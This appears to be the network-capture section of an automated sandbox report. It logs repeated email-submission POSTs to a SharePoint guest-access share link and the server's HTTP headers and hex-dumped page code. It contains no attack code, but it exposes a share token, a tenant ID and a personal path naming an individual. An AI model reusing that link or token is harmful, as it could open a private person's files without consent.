2025-02-21 09:25:25 UTC	1931	OUT	Data Raw: 5f 5f 45 56 45 4e 54 54 41 52 47 45 54 3d 62 74 6e 53 75 62 6d 69 74 45 6d 61 69 6c 26 5f 5f 45 56 45 4e 54 41 52 47 55 4d 45 4e 54 3d 26 53 69 64 65 42 79 53 69 64 65 54 6f 6b 65 6e 3d 31 36 2e 30 2e 32 35 38 30 35 2e 31 32 30 30 39 26 5f 5f 56 49 45 57 53 54 41 54 45 3d 54 42 47 63 77 62 47 57 6e 53 48 57 32 6b 33 71 36 4b 25 32 46 45 64 72 56 4a 65 65 38 4e 25 32 42 48 52 62 33 42 25 32 46 46 31 4f 30 64 68 39 75 41 6d 6f 45 38 69 71 45 42 4c 49 37 67 42 4e 78 4a 48 51 66 47 4e 4e 74 35 45 6e 58 73 45 54 4e 59 72 53 6c 45 46 6d 6b 6a 69 31 74 49 34 25 32 46 31 61 4f 56 6f 48 6a 7a 55 49 6b 52 43 51 58 7a 72 6a 46 62 56 57 42 59 64 4c 42 74 33 48 33 73 54 37 75 68 6a 51 6d 53 74 72 46 6d 75 63 46 34 44 36 55 69 53 55 5a 43 77 4f 72 50 68 69 5a 42 39 50 Data Ascii: __EVENTTARGET=btnSubmitEmail&__EVENTARGUMENT=&SideBySideToken=16.0.25805.12009&__VIEWSTATE=TBGcwbGWnSHW2k3q6K%2FEdrVJee8N%2BHRb3B%2FF1O0dh9uAmoE8iqEBLI7gBNxJHQfGNNt5EnXsETNYrSlEFmkji1tI4%2F1aOVoHjzUIkRCQXzrjFbVWBYdLBt3H3sT7uhjQmStrFmucF4D6UiSUZCwOrPhiZB9P
2025-02-21 09:25:26 UTC	2008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-SharePointHealthScore: 3 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 05a083a1-8019-b000-9d91-a19277eaad6c request-id: 05a083a1-8019-b000-9d91-a19277eaad6c MS-CV: oYOgBRmAALCdkaGSd+qtbA.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=6d233ac3-58ab-4f3e-8a19-798e723001ad&destinationEndpoint=190119&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 473 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:25 GMT Connection: close Content-Length: 69942
2025-02-21 09:25:26 UTC	14376	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 20 6c 61 6e 67 3d 22 66 72 2d 66 72 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /
2025-02-21 09:25:26 UTC	16384	IN	Data Raw: 65 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6d 6f 64 75 6c 65 4c 69 6e 6b 50 61 6e 65 6c 22 3e 0d 0a 09 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 32 2d 30 37 2e 30 31 32 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 77 65 62 70 61 63 6b 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 69 6e Data Ascii: e><div id="moduleLinkPanel"><link rel="preconnect" href="https://res-1.cdn.office.net" crossorigin /><link rel="preload" href="https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess.js" as="script" in
2025-02-21 09:25:26 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 74 3d 74 5b 65 5d 7d 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 45 72 72 6f 72 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 74 2b 22 5c 6e 68 74 74 70 3a 2f 2f 72 65 71 75 69 72 65 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 73 2e 68 74 6d 6c 23 22 2b 65 29 3b 69 2e 72 65 71 75 69 72 65 54 79 70 65 3d 65 3b 69 2e 72 65 71 75 69 72 65 4d 6f 64 75 6c 65 73 3d 6e 3b 72 26 26 28 69 2e 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 3d 72 29 3b 72 65 74 75 72 6e 20 69 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 65 66 69 6e 65 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 65 71 75 69 72 65 6a 73 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 72 65 71 75 69 72 65 6a 73 29 29 72 65 Data Ascii: tion(e){t=t[e]});return t}function makeError(e,t,r,n){var i=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);i.requireType=e;i.requireModules=n;r&&(i.originalError=r);return i}if(void 0===define){if(void 0!==requirejs){if(isFunction(requirejs))re
2025-02-21 09:25:26 UTC	16384	IN	Data Raw: 20 20 20 76 61 72 20 6d 61 74 63 68 20 3d 20 75 72 6c 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5e 5c 2f 5d 2b 5c 2f 2f 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 6d 61 74 63 68 20 26 26 20 6d 61 74 63 68 5b 30 5d 3b 0d 0a 20 20 7d 0d 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 73 20 3d 20 62 61 73 65 55 72 6c 73 2e 6d 61 70 28 67 65 74 4f 72 69 67 69 6e 29 3b 0d 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 66 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d 20 28 77 69 6e 64 6f 77 2e 5f 5f 63 64 6e 46 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d Data Ascii: var match = url.match(/^https:\/\/[^\/]+\//); return match && match[0]; } var origins = baseUrls.map(getOrigin); window.__backupBaseUrl = baseUrls[1]; var backupBaseUrl = baseUrls[1]; var failOverState = (window.__cdnFailOverState =
2025-02-21 09:25:26 UTC	6414	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 2f 2f 3c 21 5b 43 44 41 54 41 5b 0d 0a 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 6f 72 73 20 3d 20 20 6e 65 77 20 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 52 65 71 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 56 61 6c 69 64 61 74 65 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 49 6e 63 6f 72 72 65 63 74 54 4f 41 41 45 4d 61 69 6c 22 29 29 3b 0d 0a 09 2f 2f 5d 5d 3e 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: pe="text/javascript">//<![CDATA[var Page_Validators = new Array(document.getElementById("ReqTOAAEMail"), document.getElementById("ValidateTOAAEMail"), document.getElementById("IncorrectTOAAEMail"));//...</script><script type="text/javascript

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:36 UTC	1132	OUT	POST /personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive Content-Length: 1955 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://casp-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:36 UTC	1955	OUT	Data Raw: 5f 5f 45 56 45 4e 54 54 41 52 47 45 54 3d 62 74 6e 53 75 62 6d 69 74 45 6d 61 69 6c 26 5f 5f 45 56 45 4e 54 41 52 47 55 4d 45 4e 54 3d 26 53 69 64 65 42 79 53 69 64 65 54 6f 6b 65 6e 3d 31 36 2e 30 2e 32 35 38 30 35 2e 31 32 30 30 39 26 5f 5f 56 49 45 57 53 54 41 54 45 3d 67 63 37 54 4c 54 49 6f 55 76 65 76 33 34 4f 37 44 56 6c 68 76 61 69 67 49 37 63 66 57 51 55 53 52 48 30 44 77 4a 37 63 66 76 38 6f 64 6d 33 72 33 44 4d 41 4a 34 6e 65 79 58 64 6e 56 66 55 76 48 50 6c 57 39 61 45 4a 77 6d 7a 75 73 75 77 61 6e 4d 77 52 57 47 4d 63 64 73 35 47 41 56 67 6a 63 62 59 79 59 57 43 44 4d 79 6d 4c 46 6e 79 56 43 49 63 4b 7a 43 44 58 4c 75 32 4a 41 6a 51 71 25 32 42 75 32 62 35 4a 75 62 6c 30 56 56 48 76 66 73 6a 76 64 73 5a 41 33 4b 36 51 72 54 77 77 54 6e 6c 57 Data Ascii: __EVENTTARGET=btnSubmitEmail&__EVENTARGUMENT=&SideBySideToken=16.0.25805.12009&__VIEWSTATE=gc7TLTIoUvev34O7DVlhvaigI7cfWQUSRH0DwJ7cfv8odm3r3DMAJ4neyXdnVfUvHPlW9aEJwmzusuwanMwRWGMcds5GAVgjcbYyYWCDMymLFnyVCIcKzCDXLu2JAjQq%2Bu2b5Jubl0VVHvfsjvdsZA3K6QrTwwTnlW
2025-02-21 09:25:37 UTC	2008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-SharePointHealthScore: 1 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 07a083a1-b0d1-b000-d7a4-7df71ed1b988 request-id: 07a083a1-b0d1-b000-d7a4-7df71ed1b988 MS-CV: oYOgB9GwALDXpH33HtG5iA.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=6d233ac3-58ab-4f3e-8a19-798e723001ad&destinationEndpoint=190119&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 454 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:36 GMT Connection: close Content-Length: 69942
2025-02-21 09:25:37 UTC	14376	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 20 6c 61 6e 67 3d 22 66 72 2d 66 72 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /
2025-02-21 09:25:37 UTC	16384	IN	Data Raw: 65 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6d 6f 64 75 6c 65 4c 69 6e 6b 50 61 6e 65 6c 22 3e 0d 0a 09 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 32 2d 30 37 2e 30 31 32 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 77 65 62 70 61 63 6b 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 69 6e Data Ascii: e><div id="moduleLinkPanel"><link rel="preconnect" href="https://res-1.cdn.office.net" crossorigin /><link rel="preload" href="https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess.js" as="script" in
2025-02-21 09:25:37 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 74 3d 74 5b 65 5d 7d 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 45 72 72 6f 72 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 74 2b 22 5c 6e 68 74 74 70 3a 2f 2f 72 65 71 75 69 72 65 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 73 2e 68 74 6d 6c 23 22 2b 65 29 3b 69 2e 72 65 71 75 69 72 65 54 79 70 65 3d 65 3b 69 2e 72 65 71 75 69 72 65 4d 6f 64 75 6c 65 73 3d 6e 3b 72 26 26 28 69 2e 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 3d 72 29 3b 72 65 74 75 72 6e 20 69 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 65 66 69 6e 65 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 65 71 75 69 72 65 6a 73 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 72 65 71 75 69 72 65 6a 73 29 29 72 65 Data Ascii: tion(e){t=t[e]});return t}function makeError(e,t,r,n){var i=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);i.requireType=e;i.requireModules=n;r&&(i.originalError=r);return i}if(void 0===define){if(void 0!==requirejs){if(isFunction(requirejs))re
2025-02-21 09:25:37 UTC	16384	IN	Data Raw: 20 20 20 76 61 72 20 6d 61 74 63 68 20 3d 20 75 72 6c 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5e 5c 2f 5d 2b 5c 2f 2f 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 6d 61 74 63 68 20 26 26 20 6d 61 74 63 68 5b 30 5d 3b 0d 0a 20 20 7d 0d 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 73 20 3d 20 62 61 73 65 55 72 6c 73 2e 6d 61 70 28 67 65 74 4f 72 69 67 69 6e 29 3b 0d 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 66 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d 20 28 77 69 6e 64 6f 77 2e 5f 5f 63 64 6e 46 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d Data Ascii: var match = url.match(/^https:\/\/[^\/]+\//); return match && match[0]; } var origins = baseUrls.map(getOrigin); window.__backupBaseUrl = baseUrls[1]; var backupBaseUrl = baseUrls[1]; var failOverState = (window.__cdnFailOverState =
2025-02-21 09:25:37 UTC	6414	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 2f 2f 3c 21 5b 43 44 41 54 41 5b 0d 0a 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 6f 72 73 20 3d 20 20 6e 65 77 20 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 52 65 71 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 56 61 6c 69 64 61 74 65 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 49 6e 63 6f 72 72 65 63 74 54 4f 41 41 45 4d 61 69 6c 22 29 29 3b 0d 0a 09 2f 2f 5d 5d 3e 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: pe="text/javascript">//<![CDATA[var Page_Validators = new Array(document.getElementById("ReqTOAAEMail"), document.getElementById("ValidateTOAAEMail"), document.getElementById("IncorrectTOAAEMail"));//...</script><script type="text/javascript

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:45 UTC	1132	OUT	POST /personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive Content-Length: 1959 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://casp-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:45 UTC	1959	OUT	Data Raw: 5f 5f 45 56 45 4e 54 54 41 52 47 45 54 3d 62 74 6e 53 75 62 6d 69 74 45 6d 61 69 6c 26 5f 5f 45 56 45 4e 54 41 52 47 55 4d 45 4e 54 3d 26 53 69 64 65 42 79 53 69 64 65 54 6f 6b 65 6e 3d 31 36 2e 30 2e 32 35 38 30 35 2e 31 32 30 30 39 26 5f 5f 56 49 45 57 53 54 41 54 45 3d 70 71 58 53 72 4d 6f 49 46 39 41 6a 58 34 75 36 35 56 69 6b 50 31 38 30 70 53 38 69 6f 77 77 66 47 69 6b 77 48 35 72 41 64 46 63 57 43 73 76 77 43 49 6c 4c 70 36 69 25 32 42 63 6c 77 74 4e 45 6b 65 7a 51 57 74 45 65 66 72 50 52 33 37 43 35 58 58 6e 35 41 32 47 63 38 25 32 42 4f 79 48 6b 6c 25 32 42 36 77 64 67 49 57 57 72 44 7a 63 4b 47 53 32 5a 35 55 39 35 33 31 73 44 4d 69 58 77 67 33 71 71 73 35 4d 70 4b 61 31 67 56 71 6c 58 31 6a 55 30 4d 51 45 7a 43 50 53 43 6c 52 44 30 52 63 45 61 Data Ascii: __EVENTTARGET=btnSubmitEmail&__EVENTARGUMENT=&SideBySideToken=16.0.25805.12009&__VIEWSTATE=pqXSrMoIF9AjX4u65VikP180pS8iowwfGikwH5rAdFcWCsvwCIlLp6i%2BclwtNEkezQWtEefrPR37C5XXn5A2Gc8%2BOyHkl%2B6wdgIWWrDzcKGS2Z5U9531sDMiXwg3qqs5MpKa1gVqlX1jU0MQEzCPSClRD0RcEa
2025-02-21 09:25:46 UTC	2008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 09a083a1-20f9-b000-c01f-d40de0aa0bb1 request-id: 09a083a1-20f9-b000-c01f-d40de0aa0bb1 MS-CV: oYOgCfkgALDAH9QN4KoLsQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=6d233ac3-58ab-4f3e-8a19-798e723001ad&destinationEndpoint=190119&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 469 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:45 GMT Connection: close Content-Length: 69942
